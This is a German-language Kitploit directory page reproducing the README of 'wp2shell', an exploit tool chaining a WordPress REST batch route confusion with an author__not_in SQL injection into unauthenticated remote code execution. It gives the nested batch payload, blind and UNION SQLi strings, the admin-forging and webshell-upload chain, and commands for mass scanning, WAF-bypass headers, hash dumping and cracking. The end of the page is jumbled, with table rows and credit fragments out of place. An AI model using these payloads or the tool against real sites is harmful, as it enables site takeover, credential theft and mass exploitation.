Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/0xsha/wp2shell
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload DevelopmentLabs & Practice
GitHub0xsha/wp2shell
9630vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core

Repository anzeigen

CVE-2026-63030 + CVE-2026-60137 – „wp2shell“: Unauthenticatede RCE im WordPress-Core

Batch-Routen-Verwirrung der REST-API (CVE-2026-63030) verknüpft mit einer WP_Query-author__not_in-SQL-Injection (CVE-2026-60137) → Pre-Auth Remote Code Execution gegen eine Standard-WordPress-Installation.

Entdeckt von Adam Kues (Assetnote / Searchlight Cyber), veröffentlicht am 17.07.2026. Advisories: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

Kette (unauth RCE)WordPress 6.9.0 – 6.9.4 und 7.0.0 – 7.0.1
Nur SQLi (benötigt ein erleichterndes Plugin/Theme)6.8.0 – 6.8.5
Nicht betroffen≤ 6.8 für die Batch-Verwirrung; 6.9.5 / 7.0.2 / 7.1-beta2 (gepatcht)
VoraussetzungenREST-API erreichbar; kein persistenter Objekt-Cache (Redis/Memcached); ≥1 veröffentlichter Beitrag
Erforderliche Authentifizierungkeine
Auswirkungnicht authentifiziert → neuer Administrator → Code-Ausführung (die SQLi extrahiert auch den Admin-Hash)

Demo

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

Was dieses Repo hinzufügt

  • Ein originelles, reines stdlib-Tool (wp2shell.py), das das Beste aus sechs öffentlichen PoCs in einer einzigen Datei vereint, ohne requests-Abhängigkeit und ohne defekte Funktionen.
  • Die vollständige knackfreie RCE, durchgängig im Labor verifiziert: shell ohne Anmeldedaten fälscht einen Fake WP_Post mittels der Single-Post-UNION-Verwirrung, überbrückt den Customizer, um einen frischen Administrator zu erstellen (POST /wp/v2/users), meldet sich an und hinterlässt eine token-geschützte Webshell. Der SQLi-Admin-Hash-Dump (read --preset users) wird als zweiter, verifizierter Pfad beibehalten.
  • Ein versionsunabhängiger Verwirrungsdetektor (block_cannot_read), der als primäre, nicht-destruktive check-Funktion dient.
  • Produktionstauglicher Transport bei jedem Befehl: selbstsigniertes TLS, benutzerdefinierte Header, benutzerdefinierter User-Agent, Proxy, Wiederholungen, Anfrageverzögerung.
  • Ein verifizierter 6.8.x-erleichterter SQLi-Pfad (sqli), den die anderen PoCs nicht haben.
  • Reproduzierbare Docker-Labs sowie eine versions- und datenbankabhängige Zuverlässigkeitsmatrix, jedes Ergebnis im Labor verifiziert.
  • Der Hashcat-Modus für den neuen $wp$2y$-Passwort-Hash ().
root@kitploit:~
wp2shell/
├── README.md              ← du bist hier
├── wp2shell.py            ← das vereinheitlichte PoC (Einzeldatei, nur stdlib, von 0xsha)
└── lab/                   ← reproduzierbare Docker-Labs + Zuverlässigkeitsmatrix
    ├── docker-compose.yml         (Standard-6.9.4-Lab)
    ├── docker-compose.matrix.yml  (parametrisiert: jede Version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 „Nur SQLi“-Lab)
    ├── matrix.sh                  (führt die gesamte Zuverlässigkeitsmatrix aus)
    └── sqli-only/facilitator.php  (Mu-Plugin: die erleichternde Senke für 6.8.x)

Die sechs öffentlichen PoCs, auf die dieses Tool zurückgreift, sind hier nicht beigelegt; sie sind unter Credits verlinkt.

Alles unten wurde im lokalen Docker-Lab verifiziert (siehe §4); Behauptungen, die nicht im Labor getestet wurden, sind als solche gekennzeichnet.


1. Schwachstellendetails – Code-Tiefenanalyse

Die Kette verbindet zwei unabhängige Fehler. Zeilenangaben beziehen sich auf den echten WordPress-6.9.4-Quelltext (extrahiert aus wordpress:6.9.4-apache).

Fehler A – author__not_in SQL-Injection (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← Guard feuert NUR bei ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← String geht direkt durch
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← rohe Interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INNERHALB von implode

Ein String author__not_in überspringt den is_array()-Guard (2404); implode(',', (array)"…") gibt ihn unverändert zurück (2408) und er wird roh in das SQL eingefügt (2409). Das Geschwister author__in (2415) wendet array_map('absint', …) innerhalb von implode an und ist sicher – die eine fehlende array_map ist der Fehler. Der Wert landet als ... post_author NOT IN (<value>) ..., also schließt 0) <sql>-- - die Liste und fügt SQL an.

Einen String dort hineinzubekommen ist der schwierige Teil: Der REST-Posts-Endpoint mapped author_exclude → author__not_in (class-wp-rest-posts-controller.php:247), deklariert ihn aber als 'type' => 'array' von Ganzzahlen, sodass Core einen String erzwingt/ablehnt:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 „author_exclude[0] is not of type integer.“      (verifiziert auf 6.8.3)

Deshalb ist Fehler A allein nur „erleichtert“. Fehler B schmuggelt den String auf 6.9+ an der Validierung vorbei.

Fehler B – REST-Batch-Routen-Verwirrung (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // ein schlechter Pfad wird zu einem WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← wird zu $validation hinzugefügt …
1753          continue;                            // ← … aber $matches wird ÜBERSPRUNGEN
1754      }
1757      $matches[] = $match;                     // ← $matches wächst NUR für gültige Anfragen

1825  foreach ( $requests as $i => $single_request ) {   // indiziert nach Position in $requests
1841      $match = $matches[ $i ];                        // ← $matches ist KÜRZER → +1 Verschiebung
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

Eine WP_Error-Teilanfrage wird zu $validation[] hinzugefügt (1752), aber nicht zu $matches[] (das continue bei 1753 überspringt 1757), sodass $matches kürzer wird und $matches[$i] (1841) den nächsten Anfrage-Handler enthält. Anfrage i wird mit dem Handler von Anfrage i+1 abgearbeitet, wobei sie ihre eigenen Parameter und ihr eigenes (bestandenes) Validierungsergebnis mitführt.

Regressionsursprung (verifiziert 6.8.3 → 6.9.4-Diff): In 6.8.3 fügt die Schleife $matches[] = $match für jede Anfrage hinzu, und schlechte Pfade werden in der ersten Schleife verworfen – Arrays bleiben ausgerichtet, kein Desync. Die Umstrukturierung in 6.9.0 führte die Verschiebung ein. Genau deshalb ist 6.8.x „Nur SQLi“ und die RCE-Kette beginnt bei 6.9.0.

Der dokumentierte Fix (6.9.5 / 7.0.2)

Der Patch fügt $matches[] auch für Fehlereinträge hinzu, verstärkt die Re-Eintrittsfähigkeit und parst author__not_in mit einem ID-Listen-Helfer. (6.9.5 war zum Zeitpunkt des Tests nicht auf Docker Hub, daher stammt dies aus den Advisories, nicht aus einem Labor-Diff.)


2. Ausnutzungsmethode

2.1 Die doppelte Routenverwirrung

Das Batch-Schema erlaubt nur POST/PUT/PATCH/DELETE-Teilanfragen, aber der Posts-Endpoint get_items (die author_exclude-Senke) ist NUR GET, daher wird die Verwirrung zweimal verschachtelt:

root@kitploit:~
// ÄUSSERES Batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] schlechter Pfad → WP_Error → +1 Verschiebung
  {"method":"POST","path":"/wp/v2/posts",               // [1] Träger: als Posts-ERSTELLUNG validiert →
     "body": { /* INNERES Batch */ }},                  //     sein `requests`-Body wird nie schema-geprüft
  {"method":"POST","path":"/batch/v1",                  // [2] Handler → [1] als serve_batch_request_v1 abgearbeitet
     "body":{"requests":[]}}                            //     (kein permission_callback → nicht authentifiziert)
]}
// INNERES Batch (GET jetzt erlaubt):
//   [0] POST ///                                        WP_Error → innere +1 Verschiebung
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users hat kein author_exclude → PAYLOAD passiert unberührt
//   [2] GET /wp/v2/posts                                [2]'s Handler = posts get_items → führt [1] aus → SQLi

/// ist der Desync-Primer (jeder Pfad, der von wp_parse_url() abgewiesen wird, funktioniert). Das Tool enthält auch eine --variant categories-Version desselben Tricks.

2.2 Erkennen der Verwirrung ohne die SQLi

Eine einzelne, nicht-destruktive, versionsunabhängige Sonde bestätigt CVE-2026-63030, selbst wenn die SQLi-Senke mit Objekt-Cache oder WAF gefiltert wird: ein Batch von POST-Teilanfragen, bei dem der Desync dazu führt, dass POST /wp/v2/posts vom Block-Renderer-Berechtigungs-Callback beantwortet wird:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← ein Berechtigungsfehler von einem Handler, den sie nie angefordert hat

wp2shell.py check verwendet dies als primäres Signal (strukturelle Post-vs-Term-Form als Fallback). (Erkennungstechnik: Hadrian / Icex0.)

2.3 Von der Injektion zu Daten (blind)

Der Wert befindet sich innerhalb von NOT IN (<value>), einem sauberen booleschen Orakel: 0) AND (<cond>)-- - gibt Zeilen zurück, genau wenn <cond> gilt. Extraktion erfolgt zeichenweise binäre Suche über ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (das COALESCE verhindert, dass ein NULL zu einer leeren Abfrage führt).

Laborhinweis – zeitbasierte braucht Sorgfalt. Naives 0) OR SLEEP(n)-- - liefert bei einer Standardinstallation keine Verzögerung: veröffentlichte Zeilen erfüllen zuerst die Abfrage und kurzschließen das OR. Die Bestätigung erfolgt über eine deterministische boolesche Differenzial; zeitbasierte Verwendung verwendet 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Beobachtete 0,01s vs. 3,04s.

2.4 Von der Injektion zur Shell (RCE) – knackfrei

Die praktische RCE benötigt kein Passwort und kein Knacken. shell ohne Anmeldedaten führt die gesamte Kette aus – alles im Labor verifiziert:

  1. Fake WP_Post-Primitiv. Eine zweite Verwirrungsvariante erreicht eine saubere, UNION-fähige Abfrage: /wp/v2/posts/999999?orderby=none&per_page=500 wird gegen das Single-Post-Item-Schema validiert (die nur-für-Sammlungen-Parameter passieren also ungeprüft), dann auf den Posts-Sammlungs-Handler desynchronisiert. orderby=none entfernt das nachfolgende ORDER BY und per_page=500 hält WP_Query im Vollzeilen-Modus, sodass ein UNION SELECT als fabrizierte wp_posts-Zeile überlebt.
  2. SQLi-zu-Customizer-Brücke. Forge oembed_cache + customize_changeset (dessen user_id auf die ID eines vorhandenen Admins gesetzt wird, die via UNION gelesen wird) + nav_menu_item-Zeilen. Das Auslösen von oEmbed lässt den Customizer-Changeset laufen.

Ältere Alternative (--user/--password). read --preset users gibt wp_users.user_pass aus (WordPress 6.9's $wp$2y$… = bcrypt über HMAC-SHA384; knacken mit hashcat -m 35500), dann meldet sich shell --user/--password mit dem wiederhergestellten Klartext an. Real, aber bcrypt macht es langsam, daher ist die Admin-Erstellungskette oben der kanonische Pfad.

2.5 Der 6.8.x-„Nur SQLi“-Pfad

6.8.x hat Fehler A, aber nicht Fehler B, und Core erzwingt author_exclude als Integer-Array, daher ist die SQLi nur durch ein erleichterndes Plugin/Theme erreichbar, das WP_Query einen rohen String übergibt. Der sqli-Unterbefehl injiziert direkt in eine solche Senke (standardmäßig zeitbasiert; schnelle boolesche mit --true-contains). Demonstriert gegen den lab/sqli-only-Facilitator auf 6.8.3.


3. Verwendung

3.1 Das einheitliche PoC – wp2shell.py

Einzeldatei, Python 3.7+, nur Standardbibliothek. Produktionstauglicher Transport bei jedem Befehl: --insecure (selbstsigniertes TLS), -H 'K: V' (wiederholbar), --user-agent, --proxy, --retries, --delay.

root@kitploit:~
check   Fingerabdruck + Verwirrungsmarker + SQLi bestätigen (nicht-destruktiv)
read    DB via blinde SQLi auslesen        (--preset fingerprint|users | --query "SELECT …")
shell   RCE: Admin-Login → token-geschützte Plugin-Webshell → Befehle ausführen (-i für REPL)
sqli    author__not_in SQLi gegen eine direkte/erleichterte Senke (6.8.x, oder jede Plugin-Senke)
scan    Threaded-Schwachstellenprüfung über eine einzelne URL ODER eine .txt-Liste   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # Logins + $wp$2y$-Hashes (+ Hashcat-Hinweis)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # knackfrei: erstellt Admin, dann Webshell
./wp2shell.py shell https://target -i                        # interaktive Shell
./wp2shell.py shell https://target --user admin --password '<geknackt>' --cmd id   # oder vorhandenen Admin verwenden
./wp2shell.py scan  https://target --prove                   # einzelne URL, @@version als Beweis extrahieren
./wp2shell.py scan  targets.txt --threads 10 --json out.json # eine .txt mit Zielen
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# Produktions-Knöpfe: selbstsigniertes TLS, WAF-Header, Burp, Rate-Limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 Das Labor

root@kitploit:~
# Standard-verwundbares Labor (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # warten auf „LAB READY“
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # vollständige Version × DB-Matrix

# „Nur SQLi“-Labor (6.8.3 + erleichterndes Mu-Plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

Labor-Admin ist admin / Admin!2345 – Klartext nur bekannt, damit das Labor die Post-Auth-shell demonstrieren kann; ein echter Angreifer stellt den Hash wieder her und knackt ihn.


4. Versions- & DB-Matrix – was wir tatsächlich getestet haben

Der DB-Umfang beschränkt sich auf MySQL und MariaDB – WordPress-Core spricht in der Produktion mit keiner anderen Engine (kein PostgreSQL/MSSQL-Treiber; SQLite nur via seltenem Plugin).

Jeder Befehl im Labor getestet: check (Marker block_cannot_read + boolesch + zeitbasiert), read (Fingerabdruck / users / --query), shell (knackfrei: Admin-Erstellung → Login → Webshell → uid=33(www-data), plus --user/--password und interaktives REPL), sqli (boolesch + zeitbasiert), scan (einzelne URL + .txt + --json + --prove), der --variant categories-Payload, Endpunkt-Auto-Erkennung (/wp-json/ + ), und die Transport-Flags.

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch-Endpunkt erreichbar und nicht authentifiziert (HTTP 207) unter http://localhost:8080/wp-json/batch/v1
[+] Routenverwirrung AKTIV – Kategorien-Anfrage vom Block-Renderer-Handler beantwortet (block_cannot_read); CVE-2026-63030 bestätigt.
[+] SQL-Injection BESTÄTIGT – boolesch-blindes Differential über author__not_in (CVE-2026-60137).
[+] Zeitbasierter Kanal ebenfalls bestätigt – Basislinie 0.02s vs. injiziert 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] knacken Sie die $wp$2y$-Hashes mit:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] Keine Anmeldedaten angegeben – erstelle einen neuen Administrator pre-auth (kein Hash, kein Knacken) ...
[+] Administrator erstellt: wp2_950eeb3deda8 / Wp2!...  (geborgte Admin-ID 1)
[+] Authentifiziert.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Danksagungen

  • Schwachstellenforschung & Offenlegung: Adam Kues – Assetnote / Searchlight Cyber („wp2shell“), 17.07.2026.
  • Advisories: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf. Write-ups: Rapid7, Beazley Labs, Hadrian (die Idee der block_cannot_read-Erkennung), VulnCheck.
  • Technik-Credit (jede in wp2shell.py von Grund auf neu implementiert, kein Code wörtlich kopiert):
    • attackercan/wp2shell-poc2 – verifizierte verschachtelte Doppelverwirrungs-Kern, Blinder-Extraktor, token-geschützte Webshell + REPL.
    • sergiointel/wp2shell-poc – die knackfreie Pre-Auth-Admin-Erstellungstechnik: Fälschen eines Fake WP_Post via Single-Post-Routenverwirrung, Treiben eines oembed_cache + customize_changeset (user_id=admin) + nav_menu_item-Graphen, damit der Customizer als vorhandener Admin läuft, dann , um einen neuen Administrator zu prägen.

Rechtliche / Autorisierte Nutzung

Nur für autorisierte Sicherheitstests und Schulung – Systeme, die Ihnen gehören oder die Sie schriftlich testen dürfen. Die gesamte Ausnutzung hier lief gegen ein lokales, wegwerfbares Docker-Lab; die Webshell ist token-geschützt und der Standardbefehl ist harmlos. Sie sind verantwortlich dafür, wie Sie dies verwenden.

Tool herunterladen
-m 35500
als diesen Admin
  • Erstellen eines neuen Admins. Im selben Batch funktioniert POST /wp/v2/users mit roles:["administrator"] jetzt unter dem geborgten Admin-Kontext, und ein neuer wp2_*-Administrator erscheint in wp_users (verifiziert: eine neue Admin-Zeile).
  • Anmelden + Webshell. Mit den generierten Anmeldedaten authentifizieren, ein token-geschütztes Plugin via update.php?action=upload-plugin hochladen, Befehle ausführen. Verifiziert: uid=33(www-data).
  • WordPressDB-EnginePfadcheckExtrahierte Daten
    6.9.4MariaDB 11Batch-Kette✅ volle RCEAdmin-$wp$2y$…-Hash + @@version
    7.0.1MariaDB 11Batch-Kette✅ volle RCEAdmin-Hash
    6.9.4MySQL 8.4Batch-Kette✅ volle RCEAdmin-Hash (Payloads portabel)
    6.8.3MariaDB 11Batch-Kette⛔ 207 aber keine Verwirrung- (entspricht Advisory)
    6.8.3MariaDB 11Erleichterte sqli✅ CVE-2026-60137@@version, Benutzer, DB – boolesch und zeitbasiert
    ?rest_route=
    POST /wp/v2/users
  • Icex0/wp2shell-poc – die Implementierung dieser Kette, die ich adaptiert habe (union_inject Single-Post-Verwirrung, UnionSQLi, PreAuthAdminCreator), der block_cannot_read-Marker-Detektor, NULL-sichere COALESCE-Extraktion und jitter-resistentes Timing.
  • Senanfurkan/wordpress-cve-2026-63030 – Version-Fingerabdruck/-Klassifizierung und der strukturelle Routenverwirrungstest.
  • Lutfifakee-Project/wp2shell – Massen-Scanning.
  • NULL200OK/WP2Shell – JSON-Berichterstattung.
  • ekomsSavior/wp2shell – Inspiration für interaktive UX.
  • Hash-Knack-Modus ($wp$2y$ → hashcat -m 35500): hashpwn / hashcat.